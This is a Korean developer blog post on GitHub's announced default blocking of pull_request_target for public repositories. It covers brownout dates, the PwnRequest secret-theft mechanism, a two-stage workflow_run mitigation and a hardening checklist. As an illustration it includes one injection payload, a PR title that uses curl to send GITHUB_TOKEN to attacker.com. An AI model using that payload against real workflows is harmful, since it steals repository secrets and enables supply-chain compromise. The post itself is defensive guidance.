Huny's Dev Blog
huny.dev

GitHub Actions pull_request_target 기본 차단 예고: 11월 9일 브라운아웃 전에 포크 PR 체크아웃과 시크릿 노출 점검하기

12월 2일 퍼블릭 리포지토리 기본 차단과 11월 9일·16일 브라운아웃을 앞둔 GitHub Actions pull_request_target 변경을 대비한다. PwnRequest 시크릿 탈취 메커니즘, 2단계 workflow_run 분리 패턴, 6개 검사를 통과한 로컬 Python 감사기를 정리한다.

Hun Jang
Hun Jang Nov 6, 2026

GitHub Actions의 pull_request_target 이벤트 기본 차단 정책과 11월 9일·16일 브라운아웃 테스트, PwnRequest 공급망 공격 방지를 위한 안전한 2단계 분리 패턴을 정리한 개념 요약도다. 실제 GitHub 대시보드 화면이 아니다.

GitHub Actions를 사용하는 오픈소스 및 퍼블릭 리포지토리 관리자에게 즉각적인 대응이 필요한 보안 변경 사항이 공지됐다. 결론부터 말하면, GitHub은 2026년 12월 2일부터 모든 퍼블릭 리포지토리에서 pull_request_target 이벤트를 기본 차단(Block by default)하며, 이에 앞서 11월 9일과 16일 두 차례에 걸쳐 실제 워크플로 실행을 중단시키는 브라운아웃(Brownout) 테스트를 진행한다. GitHub 공식 Changelog 발표

이 조치는 포크된 PR에서 외부 기여자가 제출한 악의적인 코드가 베이스 리포지토리의 쓰기 권한 GITHUB_TOKEN과 배포 시크릿(AWS 키, NPM 토큰 등)을 그대로 탈취할 수 있는 'PwnRequest' 공급망 취약점을 원천 차단하기 위함이다. 만약 퍼블릭 리포지토리의 워크플로가 pull_request_target 이벤트에서 PR 헤드 코드를 체크아웃하고 있다면, 11월 9일 예정된 브라운아웃 시간대에 빌드가 즉시 실패하게 된다.

이 글은 GitHub의 공식 공지와 GitHub Security Lab 보안 권고를 바탕으로 취약점 메커니즘, 11월 브라운아웃 타임라인, 안전한 2단계 workflow_run 분리 아키텍처, 그리고 로컬 Python으로 직접 검증한 6개 시나리오를 정리한다. 실제 엔터프라이즈 러너 요금 정산이나 프라이빗 리포지토리 커스텀 권한 정책은 다루지 않는다.

1. 일반 pull_request와 pull_request_target의 권한 모델 차이

GitHub Actions에서 PR 이벤트를 처리하는 방식은 크게 pull_request와 pull_request_target 두 가지로 나뉜다. 둘의 결정적인 차이는 어느 컨텍스트(어느 브랜치의 권한과 시크릿)에서 실행되는가에 있다.

구분 항목
일반 pull_request 이벤트
기존 pull_request_target 이벤트
12월 2일 이후 변경 사항
실행 브랜치 컨텍스트
PR 헤드 브랜치 (포크 저장소)
대상 베이스 브랜치 (메인 저장소)
퍼블릭 리포지토리 기본 차단 (정책 예외 필요)
기본 GITHUB_TOKEN 권한
읽기 전용 (read)
기본 쓰기 권한 (write)
차단 시 워크플로 실행 거부 (Annotation 오류)
리포지토리 시크릿 접근
기본 차단 (시크릿 빈 값 처리)
모든 리포지토리 시크릿 접근 가능
차단
PR 헤드 코드 체크아웃 시
안전 (시크릿이 없으므로 탈취 불가)
치명적 위험 (PwnRequest 취약점 발생)
취약한 워크플로 원천 방지
주요 권장 용도
신뢰할 수 없는 외부 코드 빌드 및 단위 테스트
라벨 부착, 이슈 자동 코멘트, 릴리스 트리거
코드 실행 없는 순수 메타데이터 처리로 한정

일반 pull_request는 포크 저장소의 코드를 격리된 환경에서 빌드하므로 안전하지만, 이슈에 라벨을 달거나 빌드 상태를 업데이트할 쓰기 권한이 없다. 반면 pull_request_target은 메인 리포지토리의 권한을 제공하기 위해 만들어졌으나, 많은 개발자가 관성적으로 actions/checkout에 ref: ${{ github.event.pull_request.head.sha }}를 넣어 외부 코드를 메인 권한 컨텍스트에서 실행하는 보안 실수를 범해 왔다.

2. 11월 브라운아웃(Brownout) 일정과 영향 범위

GitHub은 12월 2일 전면 차단 전에 유지 관리자가 영향을 받는 워크플로를 사전에 식별할 수 있도록 두 차례의 일시적 차단 테스트(Brownout)를 진행한다.

  • 1차 브라운아웃: 2026년 11월 9일 16:00 ~ 18:00 UTC (한국 시간 11월 10일 01:00 ~ 03:00 KST)
  • 2차 브라운아웃: 2026년 11월 16일 16:00 ~ 18:00 UTC (한국 시간 11월 17일 01:00 ~ 03:00 KST)
  • 영구 전면 시행: 2026년 12월 2일 00:00 UTC부터 영구 적용

동작 메커니즘: Evaluate 모드 vs Enforcement 모드

현재 GitHub은 퍼블릭 리포지토리에 대해 평가 모드(Evaluate Mode)를 적용하고 있다. 이 모드에서는 워크플로 실행이 중단되지 않고 워크플로 실행 로그에 경고(Warning)만 표시된다.

그러나 브라운아웃 2시간 동안과 12월 2일 이후에는 강제 모드(Enforcement Mode)로 전환된다. 명시적인 Actions Event Policy 허용 설정이 없는 퍼블릭 리포지토리에서 pull_request_target 이벤트가 트리거되면 워크플로가 즉시 차단되고 실행 오류 주석(Error Annotation)이 남게 된다.

[!NOTE]
프라이빗(Private) 및 사내 내부(Internal) 리포지토리는 이번 기본 차단 대상에 포함되지 않는다. 오직 외부 누구나 PR을 보낼 수 있는 퍼블릭(Public) 리포지토리만 강제 차단 대상이다.

3. PwnRequest 취약점 구조와 2단계 안전 분리 아키텍처

다음 다이어그램은 취약한 pull_request_target 구성이 왜 공급망 공격으로 이어지는지, 그리고 이를 대체하는 권장 2단계 분리 구조가 어떻게 시크릿을 보호하는지 보여준다.

취약한 pull_request_target의 PwnRequest 취약점 메커니즘(좌측)과 권장되는 2단계 pull_request + workflow_run 안전 분리 아키텍처(우측)를 비교한 도식이다. 신뢰할 수 없는 외부 코드 실행과 리포지토리 시크릿 권한이 물리적으로 격리된다.

가장 위험한 패턴: 헤드 체크아웃과 인라인 스크립트 주입

실무에서 가장 흔히 발견되는 취약점은 다음 두 가지다.

  1. 포크 PR 코드의 직접 체크아웃:
  1. 인라인 표현식 주입 (Expression Injection):
    1. 공격자가 PR 제목에 "; curl http://attacker.com/steal?token=$GITHUB_TOKEN; # 같은 페이로드를 삽입하면 스크립트 실행 과정에서 토큰이 즉시 유출된다.

권장 대응책: 2단계 workflow_run 분리 패턴

포크된 PR의 빌드 결과물을 기반으로 메인 리포지토리의 시크릿(예: 내부 테스트 서버 배포, 비공개 패키지 다운로드)을 사용해야 한다면 2단계 분리 패턴을 적용한다.

  1. Step 1 (빌드 워크플로: pull_request):
      • 권한과 시크릿이 전혀 없는 상태에서 외부 코드를 빌드하고 테스트한다.
      • 빌드 결과물(JSON 커버리지 보고서, 정적 번들)을 actions/upload-artifact로 업로드한다.
  1. Step 2 (배포/라벨러 워크플로: workflow_run):
      • Step 1이 성공적으로 끝났을 때 메인 브랜치에서 트리거된다.
      • 메인 브랜치의 신뢰할 수 있는 코드만 실행하며, Step 1의 아티팩트만 다운로드해 스키마를 검증한 뒤 PR 코멘트를 작성하거나 배포를 진행한다.

이 방식을 사용하면 외부 기여자의 임의 코드가 시크릿을 보유한 런타임에 절대 유입되지 않는다.

4. 로컬 Python으로 구현·검증하는 보안 감사 및 브라운아웃 시뮬레이터

다음 코드는 외부 의존성 없이 표준 라이브러리만으로 워크플로 파일의 취약점을 탐지하고 브라운아웃 정책을 시뮬레이션하는 검증기(gh_actions_pr_target_audit.py)다.

직접 실행해 확인한 범위

로컬 환경에서 python gh_actions_pr_target_audit.py를 실행해 다음 6개 검사가 모두 통과(6 checks passed)함을 확인했다.

  1. 비신뢰 PR 헤드 체크아웃 차단: pull_request_target 환경에서 ref: ${{ github.event.pull_request.head.sha }}를 지정해 외부 코드를 체크아웃하는 고위험 패턴을 CRITICAL로 즉시 식별한다.
  1. 인라인 표현식 주입(Expression Injection) 탐지: run 블록 안에서 ${{ github.event.pull_request.title }}을 셸 인라인으로 직접 평가하는 취약점을 감지해 CRITICAL로 분류한다.
  1. 단순 메타데이터 처리 판정: 헤드 체크아웃이나 스크립트 실행이 없는 라벨러 액션 등은 위험도가 낮은 WARNING으로 분류한다.
  1. 비특권 pull_request 이벤트 승인: 시크릿 접근이 차단된 일반 pull_request 워크플로는 SAFE로 판정한다.
  1. 11월 9일 브라운아웃 시간대 차단 동작 검증: 2026년 11월 9일 17:00 UTC 시뮬레이션 시 퍼블릭 리포지토리의 워크플로가 BLOCKED_BROWNOUT으로 실패하고, 일반 시간대에는 EVALUATE_WARNING으로 실행이 유지됨을 확인한다.
  1. 명시적 정책 예외 및 프라이빗 리포지토리 제외 확인: 조직 정책에서 허용 목록에 등록되었거나 비공개 리포지토리인 경우 브라운아웃 및 12월 2일 이후에도 정상적으로 ALLOWED 처리된다.

5. 11월 9일 브라운아웃 대비 실무 점검 체크리스트

  • 워크플로 파일 전수 조사: 리포지토리 루트의 .github/workflows/*.yml 파일에서 pull_request_target 키워드가 포함된 모든 파일을 검색한다.
  • 위험한 체크아웃 제거: 검색된 워크플로 중 actions/checkout에서 ref에 github.event.pull_request.head가 들어간 블록이 있는지 확인하고, 단순 빌드/테스트라면 일반 pull_request 이벤트로 전환한다.
  • 환경 변수 바인딩 사용: 스크립트 내에서 PR 제목이나 작성자 정보가 필요하다면 ${{ github.event.pull_request.title }}을 인라인으로 넣지 말고, env: PR_TITLE: ${{ github.event.pull_request.title }}로 환경 변수를 선언한 뒤 스크립트에서 "$PR_TITLE" 형태로 참조한다.
  • 시크릿이 필요한 포크 CI는 2단계 분리: 포크 PR에서 빌드한 결과를 배포하거나 내부 시크릿을 써야 한다면 pull_request(아티팩트 업로드)와 workflow_run(아티팩트 다운로드 및 배포) 구조로 분리한다.
  • 불가피한 경우 Actions Event Policy 등록: 리포지토리 설정(Settings → Actions → General → Event policies)에서 pull_request_target을 명시적으로 허용하도록 설정하여 11월 9일/16일 브라운아웃 및 12월 2일 차단을 예외 처리한다.

참고 자료

확인 기준일: November 6, 2026

추천 글